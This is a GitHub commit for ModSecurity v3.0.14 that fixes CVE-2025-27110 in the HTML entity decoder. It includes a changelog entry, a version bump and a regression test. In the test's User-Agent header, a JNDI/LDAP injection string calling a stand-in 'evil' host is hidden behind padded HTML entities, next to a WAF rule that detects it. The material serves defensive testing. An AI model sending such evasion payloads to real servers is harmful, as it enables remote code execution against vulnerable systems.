Skip to content

Commit a555e5a

Browse files
authored
Merge commit from fork
fix: fixed htmlEntityDecode methods
2 parents f96806c + 6468810 commit a555e5a

File tree

5 files changed

+101
-11
lines changed

5 files changed

+101
-11
lines changed

CHANGES

+40
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,43 @@
1+
v3.0.14 - 2025-Feb-25
2+
---------------------
3+
4+
- [fix: fixed htmlEntityDecode methods]
5+
[PR from private repo - @theseion,@airween; fixed CVE-2025-27110]
6+
- fix: Added missing header to avoid build error with gcc-15
7+
[PR #3342 - @airween]
8+
- Fix for issue #3334: build not finding YAJL
9+
[PR #3335 - @RooHTaylor]
10+
- fix: add value checking to @validateByteRange
11+
[PR #3322 - @airween]
12+
- fix: build library on OSX without GeoIP brew package
13+
[PR #3319 - @theseion,@airween]
14+
- Update README.md
15+
[PR #3314 - @ElevationsRPG]
16+
- Fix: Add false positive cppcheck-suppress for compatibility with upda…
17+
[PR #3307 - @gberkes]
18+
- fix: align TIME_MON variable's behavior
19+
[PR #3306 - @M4tteoP,@theseion,@airween]
20+
- Fix m_requestHostName variable behavior
21+
[PR #3298 - @airween]
22+
- Add regression rules for test
23+
[PR #3291 - @hnakamur]
24+
- Fix modsecurity-regression-test-secremoterules.txt URL in example
25+
[PR #3287 - @hnakamur]
26+
- Use latest version of cppcheck (2.15.0) to analyze codebase
27+
[PR #3283 - @eduar-hte]
28+
- Replace usage of range-checked 'at' method when vector/string has already been size checked
29+
[PR #3280 - @eduar-hte]
30+
- chore: add 'log' action to rule 200005
31+
[PR #3266 - @airween]
32+
- docs: add a logo picture for github dark theme
33+
[PR #3264 - @xuruidong]
34+
- Leverage std::make_unique & std::make_shared to create objects in the heap
35+
[PR #3254 - @eduar-hte]
36+
- Simplified handling of RuleMessage by removing usage of std::shared_ptr
37+
[PR #3253 - @eduar-hte]
38+
- Simplified constructors, copy constructors & assignment operators
39+
[PR #3248 - @eduar-hte]
40+
141
v3.0.13 - 2024-Sep-03
242
---------------------
343

headers/modsecurity/modsecurity.h

+2-2
Original file line numberDiff line numberDiff line change
@@ -190,15 +190,15 @@ namespace modsecurity {
190190

191191
#define MODSECURITY_MAJOR "3"
192192
#define MODSECURITY_MINOR "0"
193-
#define MODSECURITY_PATCHLEVEL "13"
193+
#define MODSECURITY_PATCHLEVEL "14"
194194
#define MODSECURITY_TAG ""
195195
#define MODSECURITY_TAG_NUM "100"
196196

197197
#define MODSECURITY_VERSION MODSECURITY_MAJOR "." \
198198
MODSECURITY_MINOR "." MODSECURITY_PATCHLEVEL \
199199
MODSECURITY_TAG
200200

201-
#define MODSECURITY_VERSION_NUM 30130100
201+
#define MODSECURITY_VERSION_NUM 30140100
202202

203203
#define MODSECURITY_CHECK_VERSION(a) (MODSECURITY_VERSION_NUM <= a)
204204

src/actions/transformations/html_entity_decode.cc

+10-9
Original file line numberDiff line numberDiff line change
@@ -62,18 +62,18 @@ static inline bool inplace(std::string &value) {
6262
}
6363
j++; /* j is the position of the first digit now. */
6464

65-
constexpr int MAX_HEX_DIGITS = 2; // supports only bytes (max value 0xff)
6665
auto k = j;
67-
while ((j - k < MAX_HEX_DIGITS) && (j < input_len) && (isxdigit(input[j]))) {
66+
while ((j < input_len) && (isxdigit(input[j]))) {
6867
j++;
6968
}
7069
if (j > k) { /* Do we have at least one digit? */
7170
/* Decode the entity. */
72-
char x[MAX_HEX_DIGITS + 1];
73-
memcpy(x, (const char *)&input[k], j - k);
71+
char *x = new char[(j - k) + 1];
72+
std::copy(input + k, input + j, x);
7473
x[j - k] = '\0';
7574

7675
*d++ = (unsigned char)strtol(x, nullptr, 16);
76+
delete[] x;
7777

7878
/* Skip over the semicolon if it's there. */
7979
if ((j < input_len) && (input[j] == ';')) {
@@ -87,18 +87,19 @@ static inline bool inplace(std::string &value) {
8787
}
8888
} else {
8989
/* Decimal entity. */
90-
constexpr int MAX_DEC_DIGITS = 3; // supports only bytes (max value 255)
9190
auto k = j;
92-
while ((j - k < MAX_DEC_DIGITS) && (j < input_len) && (isdigit(input[j]))) {
91+
92+
while ((j < input_len) && (isdigit(input[j]))) {
9393
j++;
9494
}
9595
if (j > k) { /* Do we have at least one digit? */
9696
/* Decode the entity. */
97-
char x[MAX_DEC_DIGITS + 1];
98-
memcpy(x, (const char *)&input[k], j - k);
99-
x[j - k] = '\0';
97+
char *x = new char[j - k + 1];
98+
std::copy(input + k, input + j, x);
10099

100+
x[j - k] = '\0';
101101
*d++ = (unsigned char)strtol(x, nullptr, 10);
102+
delete[] x;
102103

103104
/* Skip over the semicolon if it's there. */
104105
if ((j < input_len) && (input[j] == ';')) {
+48
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
[
2+
{
3+
"enabled": 1,
4+
"version_min": 300000,
5+
"version_max": 0,
6+
"title": "Decode HTML entities with padding",
7+
"client": {
8+
"ip": "200.249.12.31",
9+
"port": 2313
10+
},
11+
"server": {
12+
"ip": "200.249.12.31",
13+
"port": 80
14+
},
15+
"request": {
16+
"headers": {
17+
"Host": "localhost",
18+
"User-Agent": "&#x24;&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}",
19+
"Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8",
20+
"Accept-Language": "en-us,en;q=0.5",
21+
"Accept-Encoding": "gzip,deflate",
22+
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
23+
"Keep-Alive": "300",
24+
"Connection": "keep-alive",
25+
"Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120",
26+
"Pragma": "no-cache",
27+
"Cache-Control": "no-cache"
28+
},
29+
"uri": "/",
30+
"method": "GET",
31+
"http_version": 1.1,
32+
"body": ""
33+
},
34+
"response": {
35+
"headers": {
36+
"Content-Type": "text\/xml; charset=utf-8"
37+
},
38+
"body": "<html><body>OK</bod></html>"
39+
},
40+
"expected": {
41+
"http_code": 403
42+
},
43+
"rules": [
44+
"SecRuleEngine On",
45+
"SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\""
46+
]
47+
}
48+
]

test/test-suite.in

+1
Original file line numberDiff line numberDiff line change
@@ -73,6 +73,7 @@ TESTS+=test/test-cases/regression/issue-2196.json
7373
TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json
7474
TESTS+=test/test-cases/regression/issue-2427.json
7575
TESTS+=test/test-cases/regression/issue-2296.json
76+
TESTS+=test/test-cases/regression/issue-3340.json
7677
TESTS+=test/test-cases/regression/issue-394.json
7778
TESTS+=test/test-cases/regression/issue-849.json
7879
TESTS+=test/test-cases/regression/issue-960.json

0 commit comments

Comments
 (0)